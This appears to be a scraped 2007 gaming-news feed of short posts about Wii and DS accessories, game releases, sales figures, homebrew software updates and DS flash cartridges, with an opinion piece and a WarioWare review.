Available colors: Clear and Transparent Black (You could request specify color during ordering)
Please mark down the color you want in remark column when order
More Description of Nintendo Wii Wii Crystal Force(3rd Party)
This product is designed with close-fitting protection shell which is highly transparent and very thin. This cover is easy to change and can give your controller dazzle beautiful color. It is also very light and will not affect operation.
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January 12th, 2007, 21:09 Posted By: wraggster
New from SuccessHK
Inspired by the "superhero movie within the movie" finale of the movie, Disney's Chicken Little: Ace in Action features Ace, the superhero alter ego of Chicken Little, and the Hollywood versions of his misfit band of friends: Runt, Abby and Fish-Out-of-Water. The crew of the intergalactic Battle Barn faces off against Foxy Loxy and her evil Amazonian sidekick, Goosey Loosey, who have an evil plan to take over Earth. Battle evil alien robots through multiple levels across the solar system and combat your foes in one of three distinct game play modes: Ace on foot as a soldier, Runt as the driver of an armored tank, or Abby as the pilot of a spaceship. The original Chicken Little and his friends Abby, Runt and Fish we know from the film are featured in cut scenes throughout the game.
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January 12th, 2007, 21:14 Posted By: wraggster
New from SuccessHK
* Games include turning the Wii remote on its side and pumping it up and down to inflate a balloon, swinging it in your arms to make a man run a race, making a slashing motion to cut a barrel, turning it on its side to turn a crank and placing it on the hips and wiggle to make a character use a hula-hoop
* Under Wario's tutelage and with the help of the Wii Remote, players will swing, spin and squat their way to victory
* Over 200 lightning-quick microgames, with controls that range from scribbling to flailing
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January 12th, 2007, 21:15 Posted By: wraggster
New from SuccessHK
* Exciting arcade-style racing action with unique cel-shaded graphics
* Use your Wii controller as a fully functional steering wheel with fluid drift-style control, physics and scored runs based on how far you can drift
* 82 real cars from 10 Japanese car makers - Mazda, Nissan, Mitsubishi, Honda, Subaru, Suzuki, Toyota, Mitsuoka, Dahiatsu, ASL and more
* 5 gameplay modes including drift combo and split-screen multiplayer
* Dominate the competition in drift mode by mastering awesome drift combos
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January 12th, 2007, 21:26 Posted By: wraggster
Via AmpedNews
Nintendo executives must be patting themselves on the back right now; they essentially shut down any and all naysayers of their innovative, and sometimes overly ambitious, ideas and products. According to recent reports, the Wii sold 1.1 million units in the U.S. from its November 19 launch through the end of 2006. That’s quite an impressive number which beats out the PS3’s 687,300 units with its November 17 release date. But does this mean the Wii will win out in the long run? Or perhaps it’s just beginner's luck. The latter is doubtful, though the former isn’t exactly a guarantee. Here are three things, however, that would undoubtedly aid in the Wii’s overall success. To most these few pointers will appear to be common sense; but you’d be surprised to see how poorly Nintendo has been able to capitalize on these very simple concepts.
1) For Pete’s Sake, Get Some Third Party Support
Wario Ware: Smooth Moves is one of the few games that is coming out in the Wii's near-future.Although the Wii’s launch lineup was a pinch better than the PS3’s, it wasn’t the best we’ve ever seen. Well, how many launches are spectacular, for that matter? The point is, even though the Wii had an alright launch lineup, how will it do further down the road when the PS3 and Xbox 360 are sweeping up all of the third party publishers? The PS3 may seem a bit shaky right now, but don’t be fooled, as soon as its third party cavalry comes through in about mid-2007, it will be at the top of its game. The Xbox 360 is probably at that middle ground. It’s not bad by any means, but its support isn’t nearly as extensive as Sony’s. So where does that leave Nintendo? Well it’s anyone’s guess, but it could leave them begging for scraps at the edge of the table.
There were a fair amount of third party games in the lineup, including Red Steel, Call of Duty 3, and Trauma Center: Second Opinion. But what’s on the horizon for the console? Bust-A-Move: Bash and Sonic and the Secret Rings? True, Wario Ware: Smooth Moves is coming out soon, but outside of those three, there’s really nothing on the radar for the Wii until March, according to Gamestop. With only three titles coming out between now and then, you can officially say that of the games coming out, one-third of them are first party titles. What’s going on here? This has been a plague of Nintendo’s consoles since the N64, and it’s about time they break it. Although the Wii is the wildest thing Nintendo has ever created, and they have totally differentiated themselves from their competition, they may have separated themselves too much. Third party publishers may be looking at the Wii with uncertainty, but considering these numbers, they should be clamoring to jump on board and help Nintendo climb above the competition.
2) The Internet is a Series of Tubes
So maybe Ted Stevens has nothing to do with Nintendo, but the fact still remains that the Japanese gaming giant needs to finally jump on board the phenomenon that is the internet. And I mean make a real effort, not some half-assed attempt. Sure they “plan” to offer more online support, but a Wii optimized Opera browser, weather reports, and a small handful of online ready titles isn’t something I would consider solid online support in the face of Sony’s PlayStation Network; let alone Xbox Live. Nintendo really needs to create a plan for an online strategy. The fact is, online play augments the game’s longevity, and adds more possibilities for developers to toy with. I’m sorry, but I really don’t need a Mario Party 8; but if you’re going to shove it down my throat, at least give me online multiplayer.
A lot of games would be better off with online support. Wii Sports was basically a demonstration game, but do you realize how much fun it would be to play online? It’s not like there would be a lack of players to compete against. Let’s be real: 1.1 million people bought the system last year in the U.S. alone. There would be a huge amount of people to test your tennis skills against. Or how about a game of bowling? Imagine taking Cooking Mama: Cook Off online against another aspiring virtual chef. I’m thinking Bravo’s Top Chef-sponsored Cooking Mama competitions. It’s almost become standard for games to incorporate some form of multiplayer, and with the numbers Nintendo is pushing, they have the installed base to support it.
3) How Many Times Can I Swing a Sword?
Cooking Mama: Cook Off is all you need to pretend to be an at-home mom cooking for a family. Who doesn't want to fry some sausage patties?This isn’t so much of an immediate problem as it is a future concern. What does the future hold for sword-wielding adventures and gun-toting exploits? The concern has been risen that emulating the same real life tasks from game to game will eventually get old. Essentially what Nintendo has on their hands is a gimmick. Don’t get me wrong now--it’s a great gimmick and one that I think will last...if utilized properly. So far they haven’t run into any issues with variety. I can cook, play football, drive a truck, shoot a gun, and cut open a patient--what more can I ask for? The problem lies with the flood of mediocre games that come out offering the same exact features of titles before it. Unless publishers in the future push the limits of innovation, as the console itself did, it will simply grow stagnant and there really won’t be much to write home about.
This is a possible concern that Nintendo will have to address alone. Setting up stricter guidelines for third party publishers to follow in order to receive Nintendo’s blessings would only hurt them. At the same time, if they're going to rehash, they need to perfect their re-creations.
No one really knows how Nintendo will fair in the long run. The success they have been reveling in could be consumer infatuation, or they could have genuinely captured the hearts of gamers, children, and parents across the globe. Whatever it is, the fact remains that they sold 1.1 million units in the U.S. alone last year and 989,118 units in Japan. Certainly, those figures raise at least one eyebrow. Nintendo has done a good job appealing to the public, and if they can maintain that craze for the rest of the console’s lifespan, then they should be set. We very well could see the return of an entirely revitalized Nintendo.
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January 12th, 2007, 22:07 Posted By: wraggster
Via MCVuk
Nintendo claims that its Nintendo Wii is more in demand now than it was when it launched last month.
The console giant has told MCV that retailers have reported that they are receiving more requests for the system than ever.
“Many retailers are reporting some instances of higher demand for Wii in the New Year than they had experienced for launch last year as word of mouth and interest in Wii continues to spread and grow,” a Nintendo spokesperson told MCV.
Although a free stock situation looks to be some time off, MCV has contacted retailers who have said that they largely understand the situation.
Joint managing director of CHIPS Don McCabe told MCV: “Although we’ve had Wii stock delivered in fair numbers and pretty consistently, we could have done with more – but so could have everybody. That said, Nintendo and Koch have obviously given us as much as we can and we have no complaints.
“Over Christmas, we had Nintendo fans knocking on doors and windows in the morning to see if we had Wiis in.”
"We're making constant and multiple deliveries to retailers across the UK to cope with the unprecedented demand for Wii highlighted by its record breaking UK launch,” added Nintendo’s spokesperson.
This morning, Nintendo raised its full year profits forecast by 20 per cent off the back of impressive Wii and DS sales. Targets for the amount of Wii games it expects to sell globally have been raised from 17 million to 21 million, whilst the firm is aiming to sell six million Wii hardware units by the end of the financial year.
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January 12th, 2007, 22:10 Posted By: wraggster
New from Vincrash
A library written in C to access the Wii Remote's abilities. Currently able to toggle LEDs and rumble, as well as use the IR sensor to control the mouse pointer.
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January 12th, 2007, 22:14 Posted By: wraggster
via wiifanboy
First we had a Wii being played on a GBA SP, now we have it on the DS Lite. It seems hooking the Wii up to strange screens is all the rage now. With the brighter screen, the DS Lite is obviously the best choice for playing your Wii on an almost completely useless, tiny screen. Still though, as we said with the GBA SP, it at least makes for a cool video. Check it out past the post break.
Video Here
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January 12th, 2007, 22:14 Posted By: wraggster
via wiifanboy
First we had a Wii being played on a GBA SP, now we have it on the DS Lite. It seems hooking the Wii up to strange screens is all the rage now. With the brighter screen, the DS Lite is obviously the best choice for playing your Wii on an almost completely useless, tiny screen. Still though, as we said with the GBA SP, it at least makes for a cool video. Check it out past the post break.
Video Here
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January 12th, 2007, 22:30 Posted By: wraggster
via dsfanboy
It's full of numbers! Who'd have thought? That does make it somewhat more easy for the non-Japanese speaker to navigate, so if you're so inclined, go dig around for the screens and more, including lots and lots of very clear images proclaiming Picross WiFi action will be available soon.
More Info
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January 12th, 2007, 22:36 Posted By: wraggster
via highsnobiety
Here we present you now the first preview of what Run Athletics has waiting for you in 2007. They start with a collaboration with Nintendo on their classic Legacy model.
The sneaker features the Nintendo logo on the back heel and Nintendo characters (Yoshi, Mario) on the inner soles as well as on the outer sole. The upper is entirely made of a pattern made up of characters that you find in the Mario game of Nintendo. On the tongue there is a big "M" for Mario.
Definitely a fun collaboration and the fans will probably be excited about this sneaker.
Screens Via Comments
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January 12th, 2007, 22:46 Posted By: wraggster
Via Rebug comes a new release of the impressive CPC 6128 emulator for NDS.
- New keyboard 3/4. - Resize of the automatic screen. - More interlacing at the time posting of the screen. - The scrolling of the screen (Via the key R) now also functions into horizontal. - The sound is of better quality - Support of ROMs zippées functional. - Support of the DLDI in order to be compatible with all old linkers and to come (!! Caution!! That wants to say that you owe patcher the file .nds before being able to use it) - the change of pallet is again possible for each line. (possible modification via the menu hack)
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January 12th, 2007, 22:51 Posted By: wraggster
DSwifi has been updated, heres whats new:
Fixed issue with newer DSLite hardware not being supported.
Modified DCHP code to ensure packet size is consistently 300 bytes.
fixed UDP checksum bug
Download Here
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January 12th, 2007, 22:54 Posted By: wraggster
Christ has again updated his Amap4DS with several New maps, heres whats new:
Hello,
Happy New Year and be creative using your DS!
Here are some new maps for AMAP4DS:
- AMAP4DS-Lyon-Centre-Ville v3.1
(Lyon, France, center town map for the Nintendo DS)
- AMAP4DS-Lisboa-Metro-Bus v3.1 AMAP4DS new map
(Lisbon, Portugal, metro-bus map for the Nintendo DS)
- AMAP4DS-Brussels-Metro-Tram v3.1
(Brussels, Belgium, metro, tram and bus map for the Nintendo DS)
Free download on my homepage:
http://www.andreani.net/ds/
Christ
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January 12th, 2007, 23:14 Posted By: wraggster
Via IGn
Both Capcom and SNK are well-known for their majestic forays into the world of 2D fighting and, like prize fighters, they've got plenty of hits under their belt. Therefore, when these two battling behemoths clash, a card-based tactical tournament game probably isn't what you'd expect from the results - but that's exactly what SNK Vs Capcom Card Fighters is.
Now, UK-based publisher Ignition has announced that its set to bring the DS game to these shores imminently. SNK Vs Capcom Card Fighters offers over 300 cards featuring all your favourite fighters from the likes of Street Fighter II to King of Fighters. Using your strategic wit and cunning, it's up to you to compile your deck then watch as the cards fly.
SNK Vs Capcom Card Fighters is primed and ready to let loose with those fireballs this spring.
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January 13th, 2007, 01:33 Posted By: wraggster
via wiifanboy
We're not sure which part of the hotness that is today's featured video is the hottest, really. But when you blend footage from some of our favorite characters doing their thing in their own games with clips from Super Smash Brothers Brawl, do we really need to quibble about which part is the most awesome? No, probably not. It's best to just soak it in ... and we're all over the music choices, as well.
VIDEO HERE
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January 13th, 2007, 02:28 Posted By: TeenDev
Yes, Datel has released a new homebrew device... it's called the Max Music. You can read about it here:http://us.codejunkies.com/news_revie...=17&i=9059&s=8
It is said to play videos, music and launch homebrew. As more programs use DLDI the compatability will be better.:thumbup: It has the same price as a Max Media Dock. $39.99 (£24.99) Enjoy!
Features:
uses microSD cards
easy card swaping
listen to music (MP3s)
watch videos (D3Vs)
launch Homebrew apps & games
small, Slot-1
no Max Media Launcher/Player/PassMe/NoPass
expanable
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January 13th, 2007, 10:40 Posted By: wraggster
New from SUccessHK
Product Features of Nintendo Wii Wii Wrist Strip and Cleaning Kit
Strong and Durable overstriking fiber material
High quality cleaning cloth
Multi color for choosing
What's inside the box of Nintendo Wii Wii Wrist Strip and Cleaning Kit
Multicolor Wrist Strip (x3)
High quality cleaning cloth (x1)
More Description of Nintendo Wii Wii Wrist Strip and Cleaning Kit
1) The part which connect remote control is use overstriking fibre material, strong and durable.
2) Wrist strip part is adopt high quality material, with constringency, safe and trustiness.
3) Multicolor for choosing, keep you light mind
4) Ensure don't let remote control to be our in the fury game.
5) High quality cleaning cloth, keep your Wii console to new for every time.
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January 13th, 2007, 10:44 Posted By: wraggster
New from SUccessHK
Product Features of Nintendo Wii Wii Control Stick Silicon Cap
Anti dust and scratch
Easy set up
Comfortable for long time use
10 different shapes
What's inside the box of Nintendo Wii Wii Control Stick Silicon Cap
Control Stick Silicon Cap (x10)
More Description of Nintendo Wii Wii Control Stick Silicon Cap
Prevent any scratch.
Anti-dust and protect with control stick.
Easy set-up and comfortable suitable for user long time use.
Different shape of design use with different games.
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January 13th, 2007, 10:46 Posted By: wraggster
New from SuccessHK
The Wii Component Video Cable allows you to hook your Wii console system to a high-definition TV (HDTV) or enhanced-definition TV (EDTV) to view 480p progressive output. 480p progressive output displays at a higher resolution than standard 480i resolution. Please note that your TV must be a high-definition TV (HDTV) or enhanced-definition TV (EDTV) to view 480p output. You will also be required to change your Wii settings from Standard TV (480i) to EDTV/HDTV to view 480p. details on changing your Wii console system settings or check page 44 in your Wii console system 'Channels & Settings' manual. You cannot see Wii progressive display output when the Wii console system is hooked to a TV using any other kind of cable. NOTE: This component video cable is for the Wii and will not work with any other system. In addition, the Nintendo GameCube Component Video Cable will not work with the Wii.
The price is the cheapest on the net at USD 26.85
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January 13th, 2007, 17:05 Posted By: wraggster
via joystiq
Okay folks, it's laid out right here for you. If you got your grubby little hands on Wii, then maybe you've been wondering if the component cables really make a difference. Maybe you even blew off buying them, scoffing at the Wii and its low graphics capabilities when compared to the behemoth graphics on-board both the PlayStation 3 and the Xbox 360.
Well, look no further. This video after the jump clearly shows a pretty fair-sized gap between component and composite, so you might want to reconsider picking some up if you can find 'em. If you were wise and invested in a set of cable, then you can gloat silently in your wisdom. Now I just wish someone would design a website with photos and video of everything I want to buy, laid out comparison-wise. It sure would make the whole decision process a lot easier.
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January 13th, 2007, 17:18 Posted By: wraggster
New from SuccessHK
Designed to be a newcomer's first Wii experience (Hajimete is Japanese for first), this variety game includes 9 simple games. Nintendo has bundled an extra Wiimote, meaning the game content costs just 1000 yen extra.
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January 13th, 2007, 17:40 Posted By: wraggster
Onakasuita has updated his app for the Wii to 13,.
Video Here --> http://www.youtube.com/v/VcqkQ3YxTd4
--what's WiinRemote
a program for moving cursor using Wii Remote on Windows PC.
(reading 3-axis linear accelerometer's value)
--how to use
1.connect Wii Remote to PC via bluetooth (how to connect)
2.launch WiinRemote.exe
New in this release
added nunchuk support.fixed right-click bugs
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January 13th, 2007, 17:43 Posted By: wraggster
via wiids
During a visit to London today, I was delighted to find this little beauty.. an outdoor Wii demo unit!
The unit itself consisted of a Wii, nice Samsung HDTV, Wii Sports, 2 Wii-remotes, and 2 guys in some very funky looking white Wii puffer-jackets. They seemed quite happy, and so did the little crowd of people who had gathered to witness the marvel that is Wii Sports.
I know that Nintendo is pumping a lot of cash into advertising, such as the 101 Wii TV adverts that you have probably seen if you watch anything on TV! I really liked the idea and possible gimic-factor of the outdoor Wii demo unit, and hope to see one closer to home very soon!
Screen Via Comments
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January 13th, 2007, 18:55 Posted By: wraggster
I have 6 screenshots of the new RTS game coming to the Nintendo DS, i am of course talking about Warlords DS.
Screens Via Comments
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January 13th, 2007, 21:02 Posted By: DanTheManMS
New Release from Dragonminded
Well, I've put out another maintenence release, fixing a few crash bugs and one playback bug, as well as adding a DSO executable format! It is very similar to a plugin but runs standalone instead of attached to a specific set of extensions. Check it out here and download the newest beta! Don't forget to grab the newest wonderswan plugin as the update has added new features to the plugin framework and thus will not work with older plugins!
Head to the newly opened Addons Page to grab stuff designed for DSOrganize. If you want to see your creation on this page and I haven't found it while trolling the forums yet, email me at dragonminded@dragonminded.com and I'll slap it up there for you.
Also, please read my post on the GBADev forums about DSOrganize file formats.
PS. There is a new libFB out as well, with some bugfixes, optimizations to the text rendering engine, and and overall code cleanup. BONUS: Documentation!
Changelog
Fixes found in 2.45
* Increased state field on address displays to be 3 long instead of 2.
* Changed boot function code, hopefully making the arm7 a bit more stable.
* Updaded dldi driver to newest version, should fix problems with some .ds.gba and .sc.nds files.
* Fixed work address display issue with vCards.
* Fixed address crash/corruption on second entry to address screen.
* Fixed crash on sample language bug.
* Fixed sqrt button not working in calculator.
* Fixed scrollbar in text reader not showing highlighted status.
* Fixed massive slowdown with some text files in browser.
* Fixed bug with mono mp3s and skipping.
* Added icon and description to plugin files in the browser.
* Added DSO executable type for standalone apps.
* Added raw stream API to plugins and executables.*
* Added more commands to help text in IRC.
*NOTE: Since the plugin architecture has been updated, please download the latest version of your favorite plugins to continue using them.
Heres a description for those who dont know what this app is:
DSOrganize is meant as a homebrew organizer application for the Nintendo DS that should have come built in in the first place. It is by no means comparible to a full-fledged organizer such as a palm, and it is not planned to become an operating system, video player, or anything similar.
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January 13th, 2007, 22:52 Posted By: gunntims0103
news via punch jump
The Nintendo DS maintained its lead over next-generation game offerings on strong demand for handheld software in Japan.
Media Create Co. this week said that the Nintendo DS Lite sold 176,219 units between Dec. 25 and Dec. 31.
The touch-screen handheld outsold all next-gen systems in the same period, including Wii, Sony Corp.'s Playstation 3 and Microsoft Corp.'s Xbox 360.
In addition, Nintendo DS titles charted six of the top ten selling titles in the week. Top sellers included Square Enix's Dragon Quest Monsters Joker at No. 1, New Super Mario Bros. at No. 5, and Brain Training 2 at No. 6.
Nintendo this week announced that it sold 5.3 million DS n the U.S. in 2006. The company increased its projected worldwide financial performance for the year on healthy sales for Wii and handheld platforms.
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January 13th, 2007, 22:54 Posted By: gunntims0103
news via portable planet
The Legend of Zelda: Twilight Princess has been selling like the proverbial hotcakes on both Nintendo Wii, and surprisingly, on GameCube. In fact, according to the latest NPD chart, the Wii Zelda: TP sold 519,200 in December. But GameCube’s same title sold slightly more at 532,900. Who knew that the Cube sales would still be so high?
All in all, it was a million unit December for Zelda. Some stats from the Big N:
The Legend of Zelda: Twilight Princess was purchased by an extraordinary 86 percent of Wii buyers, or more than 900,000 games for that system alone. Coupled with the companion version released in December for Nintendo GameCube, the two versions of the newest title totalled approximately 1.5 million unit sales in less than seven weeks, which would represent one of the five best-selling games for the entire year.
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January 13th, 2007, 22:54 Posted By: gunntims0103
news via portable planet
The Legend of Zelda: Twilight Princess has been selling like the proverbial hotcakes on both Nintendo Wii, and surprisingly, on GameCube. In fact, according to the latest NPD chart, the Wii Zelda: TP sold 519,200 in December. But GameCube’s same title sold slightly more at 532,900. Who knew that the Cube sales would still be so high?
All in all, it was a million unit December for Zelda. Some stats from the Big N:
The Legend of Zelda: Twilight Princess was purchased by an extraordinary 86 percent of Wii buyers, or more than 900,000 games for that system alone. Coupled with the companion version released in December for Nintendo GameCube, the two versions of the newest title totalled approximately 1.5 million unit sales in less than seven weeks, which would represent one of the five best-selling games for the entire year.
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January 13th, 2007, 22:58 Posted By: gunntims0103
news via vggen
You may recall that rumors ran rampant of a Wii port of Tom Clancy's Rainbow Six: Vegas in mid-2006, culminating in Ubisoft denying at the time that such a project existed.
Well, those rumors are back, this time fueled by listings for the game at Bart Smit (a Dutch retailer) and a number of other European retail websites. Not only do these listings for a Wii version suggest that the game is coming, but some even have boxart for the game (pictured). While the boxart could've easily been Photoshopped, in general major retailers don't usually show boxart for a game that hasn't been provided by the company itself. The listings also suggest that the game could be released as soon as the end of March.
So is it happening? Given the rumors last year (which started with a listing for the game on one of Ubisoft's websites), the retail listings now, and the commercial success (not so much critical) of fellow Ubisoft FPS Red Steel on Wii, it would seem like an official announcement could be just around the corner like a special ops soldier waiting to strike. Should it become official, we'll of course let you know.
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January 13th, 2007, 23:03 Posted By: gunntims0103
news via gamingbits
New screenshots for the upcoming balancing-liquid-puzzler Wii game have been released.
From Ignition Entertainment: "Mercury Meltdown Revolution is a brain-teasing puzzle game that challenges players to immerse themselves in a colourful world of sci-fi machines, crazy characters, and bubbling test tubes. Using the Wii Remote, Players guide a liquid mercury ‘blob’, around traps, door switches, spikes, moving floors and other hazardous elements in order to complete the level."
The Mercurcy Meltdown series has been previously released on PSP and PS2 consoles, but the Wii Remote tilt gameplay will bring a new level of experience that compliments the game. Mercury Meltdown Revolution will be coming in Spring '07.
screens via comment
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January 13th, 2007, 23:16 Posted By: gunntims0103
news/review via totalvideogames
Emerging from a hugely triumphant worldwide launch, many gamers and newcomers are still struggling to get their hands on the Wii as Nintendo attempts to cope with the sheer demand of those tuned into their energetic vision for the future of videogames. For those lucky enough to have their hands upon one, there is just one niggling uncertainty... the need for more games that aren't tired old ports with gimmicky features or merely mini-game compilations.
Suggesting that Nintendo has learnt from its own mistakes about the importance of getting titles to the market early on, Wario and the gang make a swift return in the latest title in the highly irreverent WarioWare series. It may be another mini-game compilation to join the likes of Rayman Raving Rabbids and Wii Play, but you can be sure Wario will always make others seem tame and relatively redundant in comparison.
Initially conceived around the pickup-and-play nature of the GameBoy Advance, the WarioWare series has won over gamers with its intense gameplay, crude presentation, and downright insanity. Featuring a rapid succession of mini-games to test your timing, nerve, and reactions, the WarioWare series highlights Nintendo's philosophy towards targeting wider audiences with simplistic yet nonetheless entertaining concepts and seems a natural fit to continue the early charge behind Wii.
Taking full advantage of the Wii Remote, WarioWare Smooth Moves replaces the sole necessity of pressing buttons at the right time with a variety of 'Forms' to master. Specific ways to hold the Wii Remote (or the 'Form Baton'), Smooth Moves features 19 different Forms that will have you sweeping like a 'Janitor', holding the Remote above your head in tribute to 'The Mohawk' or standing proudly with the Remote by your hip to emulate 'The Big Cheese' - as the game insists from the start, this is one game to play without any inhibitions!
Many of the characters from previous WarioWare titles make a return in Smooth Moves, along with a handful of equally bizarre, new additions to the cast. From the Nintendo fanboys, 9-Volt and 18-Volt, with their collection of classic Nintendo themed mini-games to the Bronx cabbies Dribble and Spitz, each character has their own back-story that does little else but to add to the madness that makes up a WarioWare game. Smooth Moves continues the series trend with a huge number of immensely creative, varied and most importantly fun, games to play. Whether it's guiding a paper plane past obstacles by holding the Wii Remote like a pen, or attempting to pull a tablecloth away without smashing any plates, Smooth Moves features some of the most inventive ways to use the Wii Remote and will hopefully provide inspiration for other developers looking to use the device in imaginative ways. Intelligent System's obsession with the weird and frankly obscene carries on throughout Smooth Moves, the obligatory nose picking games are there, whilst further tasks find you hitting old men and scrubbing the backside of a dirty cow!
One word of caution, Smooth Moves is a game designed to test exactly how strong the connection between the Wii Remote and the strap actually is. Games that challenge you to drop the Wii Remote like a Yo-Yo or throw it to the side seem a little risky given the recent media furore, whilst the intensive twisting and turning that it has to undergo seems destined to test the durability of the safety device.
Like its predecessors, the sheer pace at which Smooth Moves throws games at you overcomes the shallow and repetitive issues that typically affect mini-game compilations, although the increase in different techniques compared to previous titles in the series is both a blessing and a curse. Undeniably a great example of the Wii in action and the possibilities that are impossible on any other format (trying doing the 'Sketch Artist' with a SixAxis), the occasional moment when the Wii Remote wont react properly or you unknowingly complete the game without performing the correct technique, makes it feel slightly more flawed compared to its predecessors. While anybody who refuses to play the game's properly (which includes holding the Wii Remote by your nose to perform 'The Elephant') should be banned from ever playing Wii, it is perhaps a little too easy to cheat the system with some particular Forms which leaves the game feeling a little more gimmicky then previous titles in the series.
With over 200 different mini-games, it's possible to rush through the game in a matter of hours; however, Smooth Moves has genuine long-term appeal because of the score based nature of the games, each getting progressively faster, more insane and as a result more enjoyable, the better that you perform. On top of this, there's an arrangement of slightly more comprehensive mini-games on offer such as a 3D update to the NES classic Baloon Fight and a handful of multiplayer modes, whilst those who stick with it will open up further treats such as a music conductor's game - possibly a precursor to the excellent Wii Music demonstrated at E3'06?
WarioWare: Smooth Moves may not fill the void for an original Wii title with depth that doesn't have Twilight Princess in the title, but it's nonetheless an essential title to continue the Wii's charge towards attracting new audiences.
Nintendo fans will need little reminding of the qualities of the WarioWare series; if you've never had the fortune before, make sure to pick this up and prepare for one of the most insane and enjoyable experiences offered by a videogame.
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January 13th, 2007, 23:35 Posted By: wraggster
MoonShell is a multimedia player for Nintendo DS (Lite) consoles. It has support for DPG video files, MP3/NSF audio files and viewing JPG/Jpeg/BMP/PNG (non progressive) files, it also has support for TXT textfiles. MoonShell supports dualscreens and it has full support for the touch screen. MoonShell has plug-in system that allows to add any compatible plug-in just by copying the plug-in files to the appropriate folder. MoonShell also comes with several kind of useful plug-ins.
Heres whats new:
- !! Please copy the superscription onto FinalFinalBeta0.
Text/Binary viewer added dual screen mode.
Please set it from the SelectDisplay item of the [TextPlugin] section...
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January 14th, 2007, 00:47 Posted By: wraggster
via joystiq
A preliminary autopsy states that a woman died of "water intoxication" following a water drinking contest for a Nintendo Wii. News10 in Sacramento reports Station 107.9 The End's "Hold your wee for a Wii" contest had contestants doing exactly what the title says. The winner was the person who didn't release their bladder the longest. According to the woman's co-worker, after the contest, "She said to one of our supervisors that she was on her way home and her head was hurting her real bad ... she was crying and that was the last that anyone had heard from her." The co-workers contacted the woman's mother later on to check up how she was doing and she discovered the body. No word yet on how much water the woman consumed.
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January 14th, 2007, 11:20 Posted By: wraggster
Via the homepage are the details:
The XP Card comes out with the highest performance cost ratio as a DS SLOT-1 flash cartridge. It is just an amazing little device the same size as original DS cart and it operates without any extra storage device like Micro SD card etc. to save your money at most. It works as USB disk in any PC so you just need to Drag and Drop your ROMs from your PC to this little device. In brief, you buy a greatly USB Disk that can work with your NDS/NDS Lite when you buy an XP Card.
1. 1:1 original card size.
2. No FlashMe, No PassMe, No conversion anymore.
3. Lowest Cost of Owning. Built-in NAND Flash up to 8Gbits. No extra storage device required.
4. 100% Clean Rom Support. 100% game compatibility.
5. Working as a USB disk. No PC software required. Just Drag 'n Drop file from PC to XP-card.
6. Hardware virtual saving supported. Backup and exchange saves with other players easily.
7. Micro firmware design, skin which is fully upgradeable.
8. MoonShell built-in design.
9. Low power consuming and long sustaining time.
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January 14th, 2007, 11:21 Posted By: wraggster
Have you got a R4DS flash Card, well heres the updated software for you,
Update R4 v1.06 kernel (Test Edition) 2007-1-13
1)Hiding the display of those files and directories with "Hiding" attributes
2)Using L button as same as touching the screen to adjust the brightness
3)Narrowing the display for transditional chinese characters
4)Background light should be turn off while closing DS in save mode
5)Soft reset included (L+R+A+B+X+Y) or touch the soft reset button with R to switch on/off this function
Soft reset for multimedia will be applied on Moonshell 1.6 official release
Homepage
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January 14th, 2007, 11:23 Posted By: wraggster
Via palib
After view result of the pool where mollsuk ask if you to change the deadline for the dev compo.
So wii decide to put the DeadLine to 28 january.
You have time to post your homebrew and finish it
edit : Please note that you can submit your projects now and update them before the 28th, only the last submitted version will be used for testing...
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January 14th, 2007, 11:44 Posted By: wraggster
New from Flash Linker Europe is another Slot 1 flash cart:
- Original Size
- No Flashme, No Passme, No convert.
- Boot from DS slot directly
- Built-in memory design
- Clear ROM support directly
- Multi-games support
- U-Disk Operation, just Drag 'n Drop
- MoonShell support, MP3 & Movie.
- no GBA support
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January 14th, 2007, 14:59 Posted By: wraggster
Noda has released a DS game of the Mod Tower Defense for Warcraft 3.
UPDATE
We now have the precompiled files to download via comments.
Heres some screens:
Heres the game info
Here is the first release of my game, as expected !
This version only load maps using PAFS, so only slot-2 flashcards are expected to work for now. I’m currently working on Fatlib (DLDI version) support for slot-1 flashcards, so please do not ask about it.
Also, do not forget that this is still a BETA version, so there might be a lot of bugs remaining…
PS: There’s only 1 map done for now, but as the Map Editor is included in the archive, I expect you to make a lot of new wonderful maps ! A new section will come soon on this site to allow everybody to upload their maps and make it available for everyone.
Warcraft arrives on DS via Homebrew
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DIGG THIS
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January 14th, 2007, 23:02 Posted By: wraggster
New from Divineo UK
M3 DS Simply is a slot 1 device (no passcard required) from the famous producer M3 Adapter.
It uses Micro SD card for cheap and high capacity while fitting nicely in your DS/DS Lite. Its low price and strong built offers a great value!
INCLUDES 1 GIG MICRO SD CARD!
Retail Price - £ 52.95
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January 14th, 2007, 23:08 Posted By: wraggster
New from Divineo UK
Vibration Controller with Gamecube compatability - enjoy your old Gamecube games all over again.
Standard GameCube controller, with new WII packing.
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January 14th, 2007, 23:11 Posted By: wraggster
New from Divineo UK
Grab pole position with the Wii™ Racing Grip™ from JOYTECH! Attaching quickly and safely to the Wii™ Remote, the Racing Grip™ is ideal for any and all Wii™ racing games, transforming your Remote into an ‘Arcade Style’ Racing Wheel!
Features
Racing Wheel Grip for use with Wii™ racing games
Simple ‘clip and play’ design
Brings the fun of your arcade to your home!
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January 14th, 2007, 23:13 Posted By: wraggster
New from Divineo UK
Get a grip with the Wii™ Controller Grip™ from JOYTECH! Attaching quickly and safely, the Controller Grip™ transforms your Wii™ Remote into a traditional style games controller and offers comfortable, precision gaming.
Features
Convert your Wii™ Remote to a classic video game controller
Simple ‘clip and play’ design
Provides increased comfort and ergonomic grip
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January 14th, 2007, 23:14 Posted By: wraggster
New from Divineo UK
Protect and customize your Wii™ Remote with the Silicon Gloves from JOYTECH. Featuring four separate, high quality Gloves for the Wii™ Remote, each is differently coloured, proving ideal for multi-player gaming, allowing players to easily identify their Wii™ Remote whilst offering durability and protection.
Features
High quality Silicon Sleeves for your Wii™ Remote
Protects your Wii™ Remote from dust and scratches
Durable and easy to remove
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January 14th, 2007, 23:17 Posted By: wraggster
New from Divineo UK
Experience a new level of sporting authenticity with the Wii™ Sports Pack™ from JOYTECH. Featuring a Racing Grip™, Golf Grip™ and Racket Grip™, each attaches quickly and safely to the Wii™ Remote and instantly enhances all Wii™ sports games. Ideal for use with ‘Wii™ Sports’.
Features
Racing Grip, Golf Grip and Racket Grip for use with Wii™ Remote
Ideal for use with Wii™ Sports games
Bring extra realism to your Wii™ gaming
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January 14th, 2007, 23:19 Posted By: wraggster
New from Divineo UK
Protect and customize your Wii™ Remote and Wii™ Nunchuk with the Silicon Glove Pack™ from JOYTECH. Featuring two complete sets of Silicon Gloves for both Remote and Nunchuk, the Silicon Gloves offer durability, protection and a secure grip whilst playing.
High quality Silicon Sleeves for your Wii™ Remote and Wii™ Nunchuck
Colour coded for easy player identification
